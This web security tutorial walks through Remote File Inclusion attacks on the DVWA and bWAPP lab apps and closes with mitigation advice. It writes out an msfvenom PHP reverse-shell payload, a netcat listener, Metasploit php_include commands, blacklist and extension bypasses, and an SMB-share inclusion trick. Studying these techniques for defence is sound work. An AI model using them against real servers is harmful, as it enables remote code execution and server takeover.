Website Hacking

Comprehensive Guide on Remote File Inclusion (RFI)

Have you ever wondered about the URL of the web-applications, some of them might include files from the local or the remote servers as either “page=” or “file=. I hope you’re aware of the File Inclusion vulnerability. If not, I suggest you revisit our previous article for better understanding, before going deeper with the Remote File Inclusion Vulernabilty implemented in this section.

Table of Content

  • Introduction to RFI
  • Why Remote file Inclusion Occurs?
  • Remote File Inclusion Exploitation
    • Basic Remote File Inclusion
    • Reverse Shell through Netcat
    • RFI over Metasploit
    • Bypass a Blacklist Implemented
    • Null Byte Attack
    • Exploitation through SMB Server
  • Mitigation Steps


Remote File inclusion is another variant to the File Inclusion vulnerability, which arises when the URI of a file is located on a different server and is passed to as a parameter to the PHP functions either “include”, “include_once”, “require”, or “require_once”.

The Remote File Inclusion vulnerabilities are easier to exploit but are less common say in 1 of the 10 web-applications. Here thus, instead of accessing a file on a local server, the attacker could simply inject his/her vulnerable PHP scripts which are hosted on his remote web-application into the unsanitized web application’s URL, which thus might  lead to disastrous results as:

  1. Allowing the attacker to execute remote commands on a web server as [RCE].
  2. Provides complete access to the server.
  3. Deface parts of the web, or even steal confidential information.
  4. Implementation of Client-Side attacks as Cross-Site Scripting (XSS).

Therefore this Remote File Inclusion vulnerability has been reported as “Critical ” and with the CVSS score of “9.8”  under:

  1. CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program.
  2. CWE-20: Improper Input Validation
  3. CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Why Remote File Inclusion Occurs

Unlike Local File Inclusion, this remote file inclusion vulnerability also occurs due to the poorly written PHP server-side codes where the input parameters are not properly sanitized or validated.

Look at the following code snippet, which thus lets the web-application to suffer from the RFI vulnerability as the developer is only dependable on the “$file” variable with the “GET” method and hadn’t placed any input validation over it.

But this logical error didn’t fulfil the requirements to RFI vulnerability until the developer enables some insecure PHP settings as “allow_url_include = On” and “allow_url_fopen = On”, Therefore the combination of these two i.e. the developer logic and the insecure settings, open the gates to the disastrous RFI vulnerability.

Basic Remote File Inclusion

I guess, up till now, you might be having a clear vision with what is Remote File Inclusion and why it occurs. So let’s try to dig some deeper and deface some web-applications with a goal to achieve a reverse shell.

I’ve opened the target IP in my browser and logged in inside DVWA as admin: password, further I’ve opted for the File Inclusion vulnerability present on the left-hand side of the window. And even for this time, I’ve kept the security level to low.

Note :

allow_url_include is disabled by default. If allow_url_fopen is disabled, allow_url_include is also disabled

You can enable allow_url_include from php.ini by running the following commands :

nano /etc/php/7.2/apache2/php.ini
allow_url_include = On
allow_url_include = Off

Therefore now we’ll be presented with a web-page which is suffering from File Inclusion vulnerability as it is simply including the include.php file into its URL parameter as 


Let’s try to manipulate this URL parameter and surf over this DVWA application as:

Cool !! The below image thus confirms up that this application is vulnerable to RFI vulnerability.

Reverse Shell through Netcat

Won’t you be happy, if we could convert this basic RFI exploitation to a reverse shell, let’s check it out how?

Initially, we’ll generate up a payload using the best php one-liner as:

msfvenom -p php/reverse_php lport=4444 lhost= > /root/Desktop/shell.php

Great, let’s now host this directory so that we could use it over in the URL parameter.

python –m SimpleHTTPServer

From the below image, you can see that the Desktop folder has been hosted over the HTTP server on port 8000.

Now let’s boot up our Netcat listener over on port 4444

nc –lvp 4444

As the netcat is about to listen, till that time, let’s include our shell over in the vulnerable URL parameter as :

Fire up the forward button and get back our netcat listener, it might have some interesting things for us.\ Great !! We’ve successfully captured up the reverse shell. Let’s grab up some striking details now.


RFI over Metasploit

Wasn’t the Netcat procedure was long and complicated enough, just to get a reverse shell.

So let’s do some smart work & let’s boot one of the favourite tools of every pentester i.e. “Metasploit”

But before using any exploit into that, let’s capture up the HTTP Header of the URL that confirmed us the RFI existence i.e. “page=”  and further copy the logged in PHP session id along with all the security information.

Here I’ve used the Live HTTP Header – a firefox plugin, in order to capture the same.

So, it’s time to get the full control of the web application’s server, just simply execute the following commands and you are good to in:

msf > use exploit/unix/webapp/php_include
set payload php/meterpreter/bind_tcp
set PATH /DVWA/vulnerabilities/fi/
set HEADERS " Cookie: security=low; PHPSESSID=4536da6h54ski6ftv09gdq35ik"

Wooah !! With some basic executions, we got the meterpreter session.

Bypass a Blacklist Implemented

So, it’s not every time we would be lucky enough that the developer sets up the code without any validations, they might set some blacklists with the commonly used elements as “http:” or “https:” or even similar to them in order to secure up their web-application.

Therefore to bypass this implemented blacklist, we need to try all the different combinations like “HTTP:” or “hTTp:” that the developer might forget to add.

I’ve increased up the security level to “medium” and tried up with all the different combinations. From the below image you can see that the  “HTTPS” worked for me and would thus be able to exploit the RFI vulnerability again.

Null Byte Attack

A developer can never forget, to add up a ‘.php’ extension into their codes at the end of the required variable before it gets included. That is the webserver will interpret every file with the “.php” extension.

Thus, if I wish to include “tryme.txt” into the URL parameter, the server would interpret it as “tryme.txt.php.” and drop back an error message.

So what should we do when the developer sets this all?

The answer is to go for the Null Byte Attack, using up the question mark [?] character, which will thus neutralize the problem of the “.php”, forcing the php server to ignore everything after that, as soon as it is interpreted.

Exploitation through SMB Server

As discussed earlier, RFI vulnerability is about to impossible until the developer enables up the “allow_url_include” or “allow_url_fopen” in the php.ini file.

But what if, if the developer never enabled that feature, and run his web application as simple as he could without including any specific file from any remote server. Would it still be vulnerable to RFI?

The answer is “Yes”, RFI vulnerabilities can be exploited through the SMB Server even if the “allow_url_include” or “allow_url_fopen” is set to Off.

As when the “allow_url_include” in PHP is set to “off”, it does not load any remote HTTP or FTP URL’s to prevent remote file inclusion attacks, but this ”allow_url_include” does not prevent loading SMB URLs.

Wonder how to grab this all? Let’s exploit it out here in this section. So, I’ve set up the vulnerable bWAPP application over in my windows machine. You can do the same from here.

Lets Start !!

Initially, I had reconfigured my PHP server by disallowing the “allow_url_include” and “allow_url_fopen” wrapper in the “php.ini” file at C:\xampp\php\

Now in order to activate the SMB service in my Kali machine,  I’ve used the impacket toolkit which thus set up everything with a simple one-liner as:

python –smb2support sharepath /root/Desktop/Shells

As we are executing our attack over the windows 10  machine, so here I have used the “smb2support”, and had further set the share directory as /root/Desktop/Shells/ . You can learn more about Impacket from here.

From the below image you can see that our directory has been shared successfully over the SMB server without any specific credentials.

In order to confirm up the same, let’s check it all out on any windows machine over the “Run dialog box” as


Cool !! Our SMB Server is working perfectly and we’re able to access its shared files.

So let’s get back to our Kali machine and check whether the PHP code is allowing any remote file inclusion or not. From the below image, you can see that when I tried with the basic RFI attack, I was presented with an error message as “https:// wrapper is disabled” by allow_url_include=0; which thus confirms me up that the PHP code is blocking the files to be included from any remote server.

So, it’s time to deface this web-application by bypassing the “allow_url_includewrapper with our SMB share link as :\\\sharepath\shell.txt

Great !! From the below image you can see that our shell has successfully included into this vulnerable web-application and we’re presented with the contents of it.

Mitigation Steps

  • To prevent web applications from the file inclusion attacks, we need to use strong input validation. we should restrict the input parameter to accept a whitelist of acceptable files and reject all other inputs that do not strictly conform to specifications.

Sanitizing user-supplied / controlled inputs to the best of your ability is always preferable. Those inputs are: GET/POST parameters

  • URL parameters
  • Cookie values
  • HTTP header values

This can all be examined with the following code snippet:

  • Develop or run the code in the most recent version of the PHP server which is available. And even configure the PHP applications so that it does not use register_globals.
  • On the server-side, configure the ini configuration file, by disallowing remote file include of http URI which limits the ability to include the files from remote locations i.e. by changing the configuration file with the following command:

nano /etc/php/7.2/apache2/php.ini

"allow_url_fopen = OFF"
"allow_url_include = OFF"
sudo service apache2 restart

Author: Geet Madan is a Certified Ethical Hacker, Researcher and Technical Writer at Hacking Articles on Information SecurityContact here